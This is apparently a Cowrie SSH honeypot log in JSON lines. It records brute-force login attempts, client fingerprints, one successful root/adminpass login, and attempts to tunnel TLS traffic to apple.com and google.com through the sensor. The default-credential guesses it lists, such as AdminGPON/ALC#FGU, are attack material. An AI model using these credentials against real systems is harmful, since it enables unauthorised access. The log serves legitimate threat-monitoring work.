{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.32.24.235","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xda\\x03\\x8e\\x9c\\t\\xed&0\\xfa\\x12\\x92\\xd6\\xde\\xee\\xa3\\xd24\\xe59\\xfc\\x10G`yjS\\x11oTi\\xc4T Rk@6\\x96g\\x16\\x08\\x95!p\\xf8VZB\\x1c\\xd4\\xb2~\\xceh$\\xa2\\xd4\\xc1\\xf8\\xccz.\\xa7\\xbd\\xec\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 r\\xc5Ey\\xcb\\xa8ZqXglh\\x84\\x11Y\\xa7#\\x96\\x90\\x94\\xcc\\x14\\x16T\\x7f\\x8aw\\xd3\\xc7\\xbfs\\x03\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 23.32.24.235:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xda\\x03\\x8e\\x9c\\t\\xed&0\\xfa\\x12\\x92\\xd6\\xde\\xee\\xa3\\xd24\\xe59\\xfc\\x10G`yjS\\x11oTi\\xc4T Rk@6\\x96g\\x16\\x08\\x95!p\\xf8VZB\\x1c\\xd4\\xb2~\\xceh$\\xa2\\xd4\\xc1\\xf8\\xccz.\\xa7\\xbd\\xec\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 r\\xc5Ey\\xcb\\xa8ZqXglh\\x84\\x11Y\\xa7#\\x96\\x90\\x94\\xcc\\x14\\x16T\\x7f\\x8aw\\xd3\\xc7\\xbfs\\x03\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:51.004090Z","src_ip":"77.90.185.17","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.153.119","dst_port":443,"src_ip":"77.90.185.17","src_port":39250,"message":"direct-tcp connection request to 142.251.153.119:443 from 127.0.0.1:39250","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:51.116832Z","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.153.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.153.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:51.230005Z","src_ip":"77.90.185.17","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.153.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(r\\xeb\\xb6H4!T\\xbaf\\x98\\x11\\xfb>gf\\x85\\xab\\x1f\\xe3\\xfe0\\xdc\\x1b9\\x8d\\x12\\xef\\xb6\\x89]\\x1a \\xb5U\\xd0\\xa6i%%\\xf7\\xd3\\x89\\n4\\x18.<Q\\xc3\\xd9\\x98u\\xecy\\xb4\\x8cE\\xf9Q\\xc5\\xbe`\\x86Q\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 }\\xef\\xdc\\x8b\\xf7\\xad\\x18\\n\\xe8\\x9e\\xf7Vdee\\xf6\\x02\\x03\\x9ey\\x87\\xa9\\x03^f\\xe2Xg\\xcf\\xb3\\xca#\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.153.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(r\\xeb\\xb6H4!T\\xbaf\\x98\\x11\\xfb>gf\\x85\\xab\\x1f\\xe3\\xfe0\\xdc\\x1b9\\x8d\\x12\\xef\\xb6\\x89]\\x1a \\xb5U\\xd0\\xa6i%%\\xf7\\xd3\\x89\\n4\\x18.<Q\\xc3\\xd9\\x98u\\xecy\\xb4\\x8cE\\xf9Q\\xc5\\xbe`\\x86Q\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 }\\xef\\xdc\\x8b\\xf7\\xad\\x18\\n\\xe8\\x9e\\xf7Vdee\\xf6\\x02\\x03\\x9ey\\x87\\xa9\\x03^f\\xe2Xg\\xcf\\xb3\\xca#\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:51.233551Z","src_ip":"77.90.185.17","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:06:51.348385Z","src_ip":"77.90.185.17","session":"909445ac61a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":14163,"dst_ip":"159.203.135.109","dst_port":22,"session":"c68d92a78c65","protocol":"ssh","message":"New connection: 2.57.121.112:14163 (159.203.135.109:22) [session: c68d92a78c65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:07:28.565414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:07:28.569374Z","src_ip":"2.57.121.112","session":"c68d92a78c65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:07:28.673338Z","src_ip":"2.57.121.112","session":"c68d92a78c65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"yxkck878","message":"login attempt [admin/yxkck878] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:07:29.163486Z","src_ip":"2.57.121.112","session":"c68d92a78c65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"YwVxPZ","message":"login attempt [admin/YwVxPZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:07:30.271276Z","src_ip":"2.57.121.112","session":"c68d92a78c65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"yfnecbr","message":"login attempt [admin/yfnecbr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:07:31.378831Z","src_ip":"2.57.121.112","session":"c68d92a78c65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"yes90125","message":"login attempt [admin/yes90125] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:07:32.485790Z","src_ip":"2.57.121.112","session":"c68d92a78c65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"yeager","message":"login attempt [admin/yeager] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:07:33.592794Z","src_ip":"2.57.121.112","session":"c68d92a78c65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:07:34.699464Z","src_ip":"2.57.121.112","session":"c68d92a78c65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":48260,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1f44df14687","protocol":"ssh","message":"New connection: 45.148.10.121:48260 (10.17.0.5:22) [session: f1f44df14687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:03.610355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:03.615193Z","src_ip":"45.148.10.121","session":"f1f44df14687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:03.695925Z","src_ip":"45.148.10.121","session":"f1f44df14687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdminGPON","password":"ALC#FGU","message":"login attempt [AdminGPON/ALC#FGU] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:03.970711Z","src_ip":"45.148.10.121","session":"f1f44df14687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:05.053607Z","src_ip":"45.148.10.121","session":"f1f44df14687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":57668,"dst_ip":"10.17.0.5","dst_port":22,"session":"da969a898977","protocol":"ssh","message":"New connection: 77.90.185.17:57668 (10.17.0.5:22) [session: da969a898977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:33.291629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:33.295874Z","src_ip":"77.90.185.17","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:33.406600Z","src_ip":"77.90.185.17","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"adminpass","message":"login attempt [root/adminpass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:33.949598Z","src_ip":"77.90.185.17","session":"da969a898977","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"13.228.145.236","dst_port":443,"src_ip":"77.90.185.17","src_port":37024,"message":"direct-tcp connection request to 13.228.145.236:443 from 127.0.0.1:37024","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:08:35.557200Z","session":"da969a898977","protocol":"ssh"}
